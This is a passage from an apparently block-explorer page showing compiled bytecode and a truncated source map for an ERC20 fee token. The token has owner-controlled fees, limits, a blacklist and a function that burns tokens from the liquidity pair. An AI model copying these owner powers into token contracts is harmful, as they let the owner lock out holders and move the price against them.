6f77604482015264207a65726f60d81b6064820152608401610c35565b61162e3385858403611cd1565b5060019392505050565b6000610d4a338484611df5565b6008546001600160a01b0316331461166f5760405162461bcd60e51b8152600401610c359061339b565b600b546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600b80546001600160a01b0319166001600160a01b0392909216919091179055565b6008546000906001600160a01b031633146116f95760405162461bcd60e51b8152600401610c359061339b565b600183101561174a5760405162461bcd60e51b815260206004820152601960248201527f4d6179206e6f74206e756b65206c657373207468616e203125000000000000006044820152606401610c35565b600061175583611228565b905080156117ab57611771833061176c87856133fa565b611df5565b600954600090611789906001600160a01b0316611228565b600954600c549192506117a9916001600160a01b03918216911683611df5565b505b60007f000000000000000000000000cf09e2f35a3427b27028908cc9b4fdd4efbb5ff59050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561180b57600080fd5b505af115801561181f573d6000803e3d6000fd5b50506040517f8462566617872a3fbab94534675218431ff9e204063ee3f4f43d965626a39abb925060009150a1600061185730611228565b905061186281612590565b50600195945050505050565b6005546001600160a01b031633146118985760405162461bcd60e51b8152600401610c359061328b565b6001600160a01b038216600081815260236020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146119215760405162461bcd60e51b8152600401610c359061328b565b670de0b6b3a76400006103e861193660025490565b611941906005613329565b61194b9190613348565b6119559190613348565b8110156119b05760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610c35565b6119c281670de0b6b3a7640000613329565b600f5550565b6008546001600160a01b031633146119f25760405162461bcd60e51b8152600401610c359061339b565b60006119fd30611228565b9050611a0881612599565b50565b6005546000906001600160a01b03163314611a385760405162461bcd60e51b8152600401610c359061328b565b620186a0611a4560025490565b611a50906001613329565b611a5a9190613348565b821015611ac75760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610c35565b6103e8611ad360025490565b611ade906005613329565b611ae89190613348565b821115611b545760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610c35565b50600e81905560015b919050565b6005546001600160a01b03163314611b8c5760405162461bcd60e51b8152600401610c359061328b565b6001600160a01b03919091166000908152602560205260409020805460ff1916911515919091179055565b6008546001600160a01b03163314611be15760405162461bcd60e51b8152600401610c359061339b565b600b546040516000916001600160a01b03169047908381818185875af1925050503d8060008114611c2e576040519150601f19603f3d011682016040523d82523d6000602084013e611c33565b606091505b50505050565b6005546001600160a01b03163314611c635760405162461bcd60e51b8152600401610c359061328b565b6001600160a01b038116611cc85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c35565b611a0881612759565b6001600160a01b038316611d335760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c35565b6001600160a01b038216611d945760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c35565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316611e1b5760405162461bcd60e51b8152600401610c3590613411565b6001600160a01b038216611e415760405162461bcd60e51b8152600401610c3590613456565b6001600160a01b03831660009081526018602052604090205460ff16158015611e8357506001600160a01b03821660009081526018602052604090205460ff16155b611ec85760405162461bcd60e51b8152602060048201526016602482015275596f752068617665206e6f20706f776572206865726560501b6044820152606401610c35565b80611ede57611ed9838360006127ab565b505050565b601654610100900460ff16611f71576001600160a01b03831660009081526023602052604090205460ff1680611f2c57506001600160a01b03821660009081526023602052604090205460ff165b611f715760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610c35565b6001600160a01b03821660009081526025602052604090205460ff1661200957600f5481611f9e84611228565b611fa891906132d6565b11156120095760405162461bcd60e51b815260206004820152602a60248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785760448201526930b63632ba29b4bd329760b11b6064820152608401610c35565b6001600160a01b03831660009081526026602052604090205460ff16801561204a57506001600160a01b03821660009081526024602052604090205460ff16155b156120c457600d548111156120bf5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610c35565b61217b565b6001600160a01b03821660009081526026602052604090205460ff16801561210557506001600160a01b03831660009081526024602052604090205460ff16155b1561217b57600d5481111561217b5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610c35565b6001600160a01b03821660009081526024602052604090205460ff166121f557600f546121a783611228565b6121b190836132d6565b11156121f55760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610c35565b600061220030611228565b600e549091508110801590819061221f575060165462010000900460ff165b80156122355750600a54600160a01b900460ff16155b801561225a57506001600160a01b03851660009081526026602052604090205460ff16155b801561227f57506001600160a01b03851660009081526023602052604090205460ff16155b80156122a457506001600160a01b03841660009081526023602052604090205460ff16155b156122b757600e5491506122b782612900565b600a54600160a01b900460ff161580156122e957506001600160a01b03841660009081526026602052604090205460ff165b80156122f7575060115460ff165b8015612312575060125460135461230e91906132d6565b4210155b801561233757506001600160a01b03851660009081526023602052604090205460ff16155b1561234657612344612ac5565b505b600a546001600160a01b03861660009081526023602052604090205460ff600160a01b90920482161591168061239457506001600160a01b03851660009081526023602052604090205460ff165b1561239d575060005b60008115612528576001600160a01b03861660009081526026602052604090205460ff1680156123cf57506000601e54115b1561245d576123f460646123ee601e5488612c5590919063ffffffff16565b90612c68565b9050601e54602054826124079190613329565b6124119190613348565b6022600082825461242291906132d6565b9091555050601e54601f546124379083613329565b6124419190613348565b6021600082825461245291906132d6565b9091555061250a9050565b6001600160a01b03871660009081526026602052604090205460ff16801561248757506000601b54115b1561250a576124a660646123ee601b5488612c5590919063ffffffff16565b9050601b54601d54826124b99190613329565b6124c39190613348565b602260008282546124d491906132d6565b9091555050601b54601c546124e99083613329565b6124f39190613348565b6021600082825461250491906132d6565b90915550505b801561251b5761251b8730836127ab565b61252581866133fa565b94505b6125338787876127ab565b50505050505050565b6001600160a01b038216600081815260266020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b611a0881612c74565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106125ce576125ce61336a565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561264c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126709190613499565b816001815181106126835761268361336a565b60200260200101906001600160a01b031690816001600160a01b0316815250506126ce307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611cd1565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac947906127239085906000908690309042906004016134b6565b600060405180830381600087803b15801561273d57600080fd5b505af1158015612751573d6000803e3d6000fd5b505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0383166127d15760405162461bcd60e51b8152600401610c3590613411565b6001600160a01b0382166127f75760405162461bcd60e51b8152600401610c3590613456565b6001600160a01b0383166000908152602081905260409020548181101561286f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610c35565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906128a69084906132d6565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516128f291815260200190565b60405180910390a350505050565b600a805460ff60a01b1916600160a01b179055602254602154600091612925916132d6565b90506000612942826123ee60225486612c5590919063ffffffff16565b905060006129508483612e11565b9050600061295f836002612c68565b9050600061296d8483612e11565b90504761297983612599565b60006129854783612e11565b90506129918382612e1d565b60408051858152602081018390529081018490527f9629756ff32486270ad51a664b5bf99945dac79a2c9e8f76087aa1273ce0c99b9060600160405180910390a1476129dc86612599565b60006129e84783612e11565b600b546040519192506000916001600160a01b039091169083908381818185875af1925050503d8060008114612a3a576040519150601f19603f3d011682016040523d82523d6000602084013e612a3f565b606091505b505090506706f05b59d3b20000471115612aab57600b546040516001600160a01b03909116904790600081818185875af1925050503d8060008114612aa0576040519150601f19603f3d011682016040523d82523d6000602084013e612aa5565b606091505b50909150505b5050600a805460ff60a01b19169055505050505050505050565b426013556040516370a0823160e01b81526001600160a01b037f000000000000000000000000cf09e2f35a3427b27028908cc9b4fdd4efbb5ff5166004820152600090819030906370a0823190602401602060405180830381865afa158015612b32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b5691906133c4565b90506000612b756127106123ee60105485612c5590919063ffffffff16565b90508015612baa57612baa7f000000000000000000000000cf09e2f35a3427b27028908cc9b4fdd4efbb5ff561dead836127ab565b60007f000000000000000000000000cf09e2f35a3427b27028908cc9b4fdd4efbb5ff59050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b158015612c0a57600080fd5b505af1158015612c1e573d6000803e3d6000fd5b50506040517f454c91ae84fcc766ddda0dcb289f26b3d0176efeacf4061fc219fa6ca8c3048d925060009150a16001935050505090565b6000612c618284613329565b9392505050565b6000612c618284613348565b600a54602780546001600160a01b0390921691309190600090612c9957612c9961336a565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b031602179055507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612d25573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d499190613499565b6027600181548110612d5d57612d5d61336a565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550612d96308284611cd1565b612da1303384611cd1565b612dac338284611cd1565b610ca782826027805480602002602001604051908101604052809291908181526020018280548015612e0757602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311612de9575b5050505050612f03565b6000612c6182846133fa565b612e48307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611cd1565b600c5460405163f305d71960e01b81523060048201526024810184905260006044820181905260648201526001600160a01b0391821660848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d9091169063f305d71990839060c40160606040518083038185885af1158015612ed7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612efc9190613527565b5050505050565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790612f589086906000908690309042906004016134b6565b600060405180830381600087803b158015612f7257600080fd5b505af1158015612533573d6000803e3d6000fd5b60008060408385031215612f9957600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015612fd557858101830151858201604001528201612fb9565b81811115612fe7576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114611a0857600080fd5b8035611b5d81612ffd565b6000806040838503121561303057600080fd5b823561303b81612ffd565b946020939093013593505050565b60006020828403121561305b57600080fd5b8135612c6181612ffd565b60006020828403121561307857600080fd5b5035919050565b60008060006060848603121561309457600080fd5b833561309f81612ffd565b925060208401356130af81612ffd565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156130e957600080fd5b823567ffffffffffffffff8082111561310157600080fd5b818501915085601f83011261311557600080fd5b813581811115613127576131276130c0565b8060051b604051601f19603f8301168101818110858211171561314c5761314c6130c0565b60405291825284820192508381018501918883111561316a57600080fd5b938501935b8285101561318f5761318085613012565b8452938501939285019261316f565b98975050505050505050565b8015158114611a0857600080fd5b6000806000606084860312156131be57600080fd5b833592506020840135915060408401356131d78161319b565b809150509250925092565b600080604083850312156131f557600080fd5b823561320081612ffd565b915060208301356132108161319b565b809150509250929050565b60006020828403121561322d57600080fd5b8135612c618161319b565b6000806040838503121561324b57600080fd5b82359150602083013561321081612ffd565b6000806040838503121561327057600080fd5b823561327b81612ffd565b9150602083013561321081612ffd565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082198211156132e9576132e96132c0565b500190565b600181811c9082168061330257607f821691505b6020821081141561332357634e487b7160e01b600052602260045260246000fd5b50919050565b6000816000190483118215151615613343576133436132c0565b500290565b60008261336557634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000600019821415613394576133946132c0565b5060010190565b6020808252600f908201526e086c2d8d8cae4407a5e7a40c2eae8d608b1b604082015260600190565b6000602082840312156133d657600080fd5b5051919050565b6000602082840312156133ef57600080fd5b8151612c618161319b565b60008282101561340c5761340c6132c0565b500390565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6000602082840312156134ab57600080fd5b8151612c6181612ffd565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156135065784516001600160a01b0316835293830193918301916001016134e1565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561353c57600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220ab8ab8e76c57ad153cb5fbecff199ce15c00287d671df983cf194f7ee040f9cf64736f6c634300080a0033

Deployed Bytecode Sourcemap

32998:19334:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;40562:340;;;;;;;;;;-1:-1:-1;40562:340:0;;;;;:::i;:::-;;:::i;:::-;;9826:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;33286:69;;;;;;;;;;-1:-1:-1;33286:69:0;;;;-1:-1:-1;;;;;33286:69:0;;;;;;-1:-1:-1;;;;;1033:32:1;;;1015:51;;1003:2;988:18;33286:69:0;869:203:1;11993:169:0;;;;;;;;;;-1:-1:-1;11993:169:0;;;;;:::i;:::-;;:::i;:::-;;;1837:14:1;;1830:22;1812:41;;1800:2;1785:18;11993:169:0;1672:187:1;34649:63:0;;;;;;;;;;-1:-1:-1;34649:63:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;33071:51;;;;;;;;;;;;;;;10946:108;;;;;;;;;;-1:-1:-1;11034:12:0;;10946:108;;;2497:25:1;;;2485:2;2470:18;10946:108:0;2351:177:1;33760:47:0;;;;;;;;;;;;;;;;33575:36;;;;;;;;;;;;;;;;34467:33;;;;;;;;;;;;;;;;34427;;;;;;;;;;;;;;;;39138:275;;;;;;;;;;-1:-1:-1;39138:275:0;;;;;:::i;:::-;;:::i;12644:492::-;;;;;;;;;;-1:-1:-1;12644:492:0;;;;;:::i;:::-;;:::i;52053:163::-;;;;;;;;;;-1:-1:-1;52053:163:0;;;;;:::i;:::-;;:::i;33670:45::-;;;;;;;;;;;;;;;;33631:32;;;;;;;;;;-1:-1:-1;33631:32:0;;;;;;;;10788:93;;;;;;;;;;-1:-1:-1;10788:93:0;;10871:2;4579:36:1;;4567:2;4552:18;10788:93:0;4437:184:1;52224:101:0;;;;;;;;;;-1:-1:-1;52224:101:0;;;;;:::i;:::-;;:::i;33432:19::-;;;;;;;;;;-1:-1:-1;33432:19:0;;;;-1:-1:-1;;;;;33432:19:0;;;13545:215;;;;;;;;;;-1:-1:-1;13545:215:0;;;;;:::i;:::-;;:::i;33193:38::-;;;;;;;;;;;;;;;33858:33;;;;;;;;;;-1:-1:-1;33858:33:0;;;;;;;;41849:126;;;;;;;;;;-1:-1:-1;41849:126:0;;;;;:::i;:::-;-1:-1:-1;;;;;41939:28:0;41915:4;41939:28;;;:19;:28;;;;;;;;;41849:126;51618:259;;;;;;;;;;-1:-1:-1;51618:259:0;;;;;:::i;:::-;;:::i;40221:333::-;;;;;;;;;;-1:-1:-1;40221:333:0;;;;;:::i;:::-;;:::i;34314:28::-;;;;;;;;;;;;;;;;34165:29;;;;;;;;;;;;;;;;33938:30;;;;;;;;;;-1:-1:-1;33938:30:0;;;;;;;;;;;33157:29;;;;;;;;;;-1:-1:-1;33157:29:0;;;;-1:-1:-1;;;;;33157:29:0;;;11117:127;;;;;;;;;;-1:-1:-1;11117:127:0;;;;;:::i;:::-;;:::i;3012:150::-;;;;;;;;;;;;;:::i;49304:555::-;;;;;;;;;;-1:-1:-1;49304:555:0;;;;;:::i;:::-;;:::i;39685:167::-;;;;;;;;;;-1:-1:-1;39685:167:0;;;;;:::i;:::-;;:::i;33395:30::-;;;;;;;;;;-1:-1:-1;33395:30:0;;;;-1:-1:-1;;;;;33395:30:0;;;34238;;;;;;;;;;;;;;;;38354:209;;;;;;;;;;-1:-1:-1;38354:209:0;;;;;:::i;:::-;;:::i;2361:87::-;;;;;;;;;;-1:-1:-1;2434:6:0;;-1:-1:-1;;;;;2434:6:0;2361:87;;34349:31;;;;;;;;;;;;;;;;40113:100;;;;;;;;;;-1:-1:-1;40113:100:0;;;;;:::i;:::-;;:::i;10045:104::-;;;;;;;;;;;;;:::i;34719:58::-;;;;;;;;;;-1:-1:-1;34719:58:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;41100:304;;;;;;;;;;-1:-1:-1;41100:304:0;;;;;:::i;:::-;;:::i;33814:35::-;;;;;;;;;;;;;;;;14263:413;;;;;;;;;;-1:-1:-1;14263:413:0;;;;;:::i;:::-;;:::i;33722:29::-;;;;;;;;;;;;;;;;11457:175;;;;;;;;;;-1:-1:-1;11457:175:0;;;;;:::i;:::-;;:::i;41608:231::-;;;;;;;;;;-1:-1:-1;41608:231:0;;;;;:::i;:::-;;:::i;50663:947::-;;;;;;;;;;-1:-1:-1;50663:947:0;;;;;:::i;:::-;;:::i;33129:21::-;;;;;;;;;;-1:-1:-1;33129:21:0;;;;-1:-1:-1;;;;;33129:21:0;;;34935:57;;;;;;;;;;-1:-1:-1;34935:57:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;33898:33;;;;;;;;;;-1:-1:-1;33898:33:0;;;;;;;;;;;40910:182;;;;;;;;;;-1:-1:-1;40910:182:0;;;;;:::i;:::-;;:::i;39421:256::-;;;;;;;;;;-1:-1:-1;39421:256:0;;;;;:::i;:::-;;:::i;47180:154::-;;;;;;;;;;;;;:::i;33460:35::-;;;;;;;;;;;;;;;;38633:497;;;;;;;;;;-1:-1:-1;38633:497:0;;;;;:::i;:::-;;:::i;39860:157::-;;;;;;;;;;-1:-1:-1;39860:157:0;;;;;:::i;:::-;;:::i;34204:27::-;;;;;;;;;;;;;;;;11695:151;;;;;;;;;;-1:-1:-1;11695:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;11811:18:0;;;11784:7;11811:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;11695:151;51885:160;;;;;;;;;;;;;:::i;33502:33::-;;;;;;;;;;;;;;;;33238:41;;;;;;;;;;-1:-1:-1;33238:41:0;;;;-1:-1:-1;;;;;33238:41:0;;;34275:30;;;;;;;;;;;;;;;;3317:201;;;;;;;;;;-1:-1:-1;3317:201:0;;;;;:::i;:::-;;:::i;34387:31::-;;;;;;;;;;;;;;;;33542:24;;;;;;;;;;;;;;;;40562:340;2434:6;;-1:-1:-1;;;;;2434:6:0;1077:10;2581:23;2573:68;;;;-1:-1:-1;;;2573:68:0;;;;;;;:::i;:::-;;;;;;;;;40687:16:::1;:32:::0;;;40730:16:::1;:32:::0;;;40789:35:::1;40749:13:::0;40706;40789:35:::1;:::i;:::-;40773:13;:51:::0;;;40860:1:::1;-1:-1:-1::0;40843:18:0::1;40835:59;;;::::0;-1:-1:-1;;;40835:59:0;;7305:2:1;40835:59:0::1;::::0;::::1;7287:21:1::0;7344:2;7324:18;;;7317:30;7383;7363:18;;;7356:58;7431:18;;40835:59:0::1;7103:352:1::0;40835:59:0::1;40562:340:::0;;:::o;9826:100::-;9880:13;9913:5;9906:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9826:100;:::o;11993:169::-;12076:4;12093:39;1077:10;12116:7;12125:6;12093:8;:39::i;:::-;-1:-1:-1;12150:4:0;11993:169;;;;:::o;39138:275::-;2434:6;;-1:-1:-1;;;;;2434:6:0;1077:10;2581:23;2573:68;;;;-1:-1:-1;;;2573:68:0;;;;;;;:::i;:::-;39275:4:::1;39267;39246:13;11034:12:::0;;;10946:108;39246:13:::1;:17;::::0;39262:1:::1;39246:17;:::i;:::-;39245:26;;;;:::i;:::-;39244:35;;;;:::i;:::-;39234:6;:45;;39212:142;;;::::0;-1:-1:-1;;;39212:142:0;;8442:2:1;39212:142:0::1;::::0;::::1;8424:21:1::0;8481:2;8461:18;;;8454:30;8520:34;8500:18;;;8493:62;-1:-1:-1;;;8571:18:1;;;8564:45;8626:19;;39212:142:0::1;8240:411:1::0;39212:142:0::1;39388:17;:6:::0;39398::::1;39388:17;:::i;:::-;39365:20;:40:::0;-1:-1:-1;39138:275:0:o;12644:492::-;12784:4;12801:36;12811:6;12819:9;12830:6;12801:9;:36::i;:::-;-1:-1:-1;;;;;12877:19:0;;12850:24;12877:19;;;:11;:19;;;;;;;;1077:10;12877:33;;;;;;;;12929:26;;;;12921:79;;;;-1:-1:-1;;;12921:79:0;;8858:2:1;12921:79:0;;;8840:21:1;8897:2;8877:18;;;8870:30;8936:34;8916:18;;;8909:62;-1:-1:-1;;;8987:18:1;;;8980:38;9035:19;;12921:79:0;8656:404:1;12921:79:0;13036:57;13045:6;1077:10;13086:6;13067:16;:25;13036:8;:57::i;:::-;-1:-1:-1;13124:4:0;;12644:492;-1:-1:-1;;;;12644:492:0:o;52053:163::-;2434:6;;-1:-1:-1;;;;;2434:6:0;1077:10;2581:23;2573:68;;;;-1:-1:-1;;;2573:68:0;;;;;;;:::i;:::-;52126:9:::1;52121:88;52145:3;:10;52141:1;:14;52121:88;;;52193:4;52177:5;:13;52183:3;52187:1;52183:6;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;52177:13:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;52177:13:0;:20;;-1:-1:-1;;52177:20:0::1;::::0;::::1;;::::0;;;::::1;::::0;;52157:3;::::1;::::0;::::1;:::i;:::-;;;;52121:88;;52224:101:::0;2434:6;;-1:-1:-1;;;;;2434:6:0;1077:10;2581:23;2573:68;;;;-1:-1:-1;;;2573:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;52293:16:0::1;52312:5;52293:16:::0;;;:5:::1;:16;::::0;;;;:24;;-1:-1:-1;;52293:24:0::1;::::0;;52224:101::o;13545:215::-;1077:10;13633:4;13682:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;13682:34:0;;;;;;;;;;13633:4;;13650:80;;13673:7;;13682:47;;13719:10;;13682:47;:::i;:::-;13650:8;:80::i;51618:259::-;35196:14;;-1:-1:-1;;;;;35196:14:0;1077:10;35196:30;35188:58;;;;-1:-1:-1;;;35188:58:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;51689:19:0;::::1;51681:44;;;::::0;-1:-1:-1;;;51681:44:0;;9883:2:1;51681:44:0::1;::::0;::::1;9865:21:1::0;9922:2;9902:18;;;9895:30;-1:-1:-1;;;9941:18:1;;;9934:42;9993:18;;51681:44:0::1;9681:336:1::0;51681:44:0::1;51780:38;::::0;-1:-1:-1;;;51780:38:0;;51812:4:::1;51780:38;::::0;::::1;1015:51:1::0;51736:6:0::1;::::0;-1:-1:-1;;;;;51745:22:0;::::1;::::0;::::1;::::0;51768:10:::1;::::0;51745:22;;51780:23:::1;::::0;988:18:1;;51780:38:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;51745:74;::::0;-1:-1:-1;;;;;;51745:74:0::1;::::0;;;;;;-1:-1:-1;;;;;10403:32:1;;;51745:74:0::1;::::0;::::1;10385:51:1::0;10452:18;;;10445:34;10358:18;;51745:74:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;51736:83;;51838:1;51830:39;;;::::0;-1:-1:-1;;;51830:39:0;;10942:2:1;51830:39:0::1;::::0;::::1;10924:21:1::0;10981:2;10961:18;;;10954:30;11020:27;11000:18;;;10993:55;11065:18;;51830:39:0::1;10740:349:1::0;40221:333:0;2434:6;;-1:-1:-1;;;;;2434:6:0;1077:10;2581:23;2573:68;;;;-1:-1:-1;;;2573:68:0;;;;;;;:::i;:::-;40345:15:::1;:31:::0;;;40387:15:::1;:31:::0;;;40444:33:::1;40405:13:::0;40363;40444:33:::1;:::i;:::-;40429:12;:48:::0;;;40512:1:::1;-1:-1:-1::0;40496:17:0::1;40488:58;;;::::0;-1:-1:-1;;;40488:58:0;;7305:2:1;40488:58:0::1;::::0;::::1;7287:21:1::0;7344:2;7324:18;;;7317:30;7383;7363:18;;;7356:58;7431:18;;40488:58:0::1;7103:352:1::0;11117:127:0;-1:-1:-1;;;;;11218:18:0;11191:7;11218:18;;;;;;;;;;;;11117:127::o;3012:150::-;2434:6;;-1:-1:-1;;;;;2434:6:0;1077:10;2581:23;2573:68;;;;-1:-1:-1;;;2573:68:0;;;;;;;:::i;:::-;3077:6:::1;:20:::0;;-1:-1:-1;;;;;;3077:20:0::1;::::0;;3114:40:::1;::::0;3095:1:::1;::::0;;;3114:40:::1;::::0;3095:1;;3114:40:::1;3012:150::o:0;49304:555::-;2434:6;;-1:-1:-1;;;;;2434:6:0;1077:10;2581:23;2573:68;;;;-1:-1:-1;;;2573:68:0;;;;;;;:::i;:::-;49506:3:::1;49483:19;:26;;49461:127;;;::::0;-1:-1:-1;;;49461:127:0;;11296:2:1;49461:127:0::1;::::0;::::1;11278:21:1::0;11335:2;11315:18;;;11308:30;11374:34;11354:18;;;11347:62;-1:-1:-1;;;11425:18:1;;;11418:49;11484:19;;49461:127:0::1;11094:415:1::0;49461:127:0::1;49633:4;49621:8;:16;;:33;;;;-1:-1:-1::0;49641:13:0;49621:33:::1;49599:131;;;::::0;-1:-1:-1;;;49599:131:0;;11716:2:1;49599:131:0::1;::::0;::::1;11698:21:1::0;11755:2;11735:18;;;11728:30;11794:34;11774:18;;;11767:62;-1:-1:-1;;;11845:18:1;;;11838:46;11901:19;;49599:131:0::1;11514:412:1::0;49599:131:0::1;49741:15;:37:::0;;;;49789:16:::1;:27:::0;49827:13:::1;:24:::0;;-1:-1:-1;;49827:24:0::1;::::0;::::1;;::::0;;;::::1;::::0;;49304:555::o;39685:167::-;2434:6;;-1:-1:-1;;;;;2434:6:0;1077:10;2581:23;2573:68;;;;-1:-1:-1;;;2573:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;39798:39:0;;;::::1;;::::0;;;:31:::1;:39;::::0;;;;:46;;-1:-1:-1;;39798:46:0::1;::::0;::::1;;::::0;;;::::1;::::0;;39685:167::o;38354:209::-;2434:6;;-1:-1:-1;;;;;2434:6:0;1077:10;2581:23;2573:68;;;;-1:-1:-1;;;2573:68:0;;;;;;;:::i;:::-;38428:13:::1;:20:::0;;-1:-1:-1;;38459:18:0;;;;;38505:15:::1;38488:14;:32:::0;38531:10:::1;:24:::0;38354:209::o;40113:100::-;2434:6;;-1:-1:-1;;;;;2434:6:0;1077:10;2581:23;2573:68;;;;-1:-1:-1;;;2573:68:0;;;;;;;:::i;:::-;40184:11:::1;:21:::0;;;::::1;;::::0;::::1;-1:-1:-1::0;;40184:21:0;;::::1;::::0;;;::::1;::::0;;40113:100::o;10045:104::-;10101:13;10134:7;10127:14;;;;;:::i;41100:304::-;35196:14;;-1:-1:-1;;;;;35196:14:0;1077:10;35196:30;35188:58;;;;-1:-1:-1;;;35188:58:0;;;;;;;:::i;:::-;41244:13:::1;-1:-1:-1::0;;;;;4123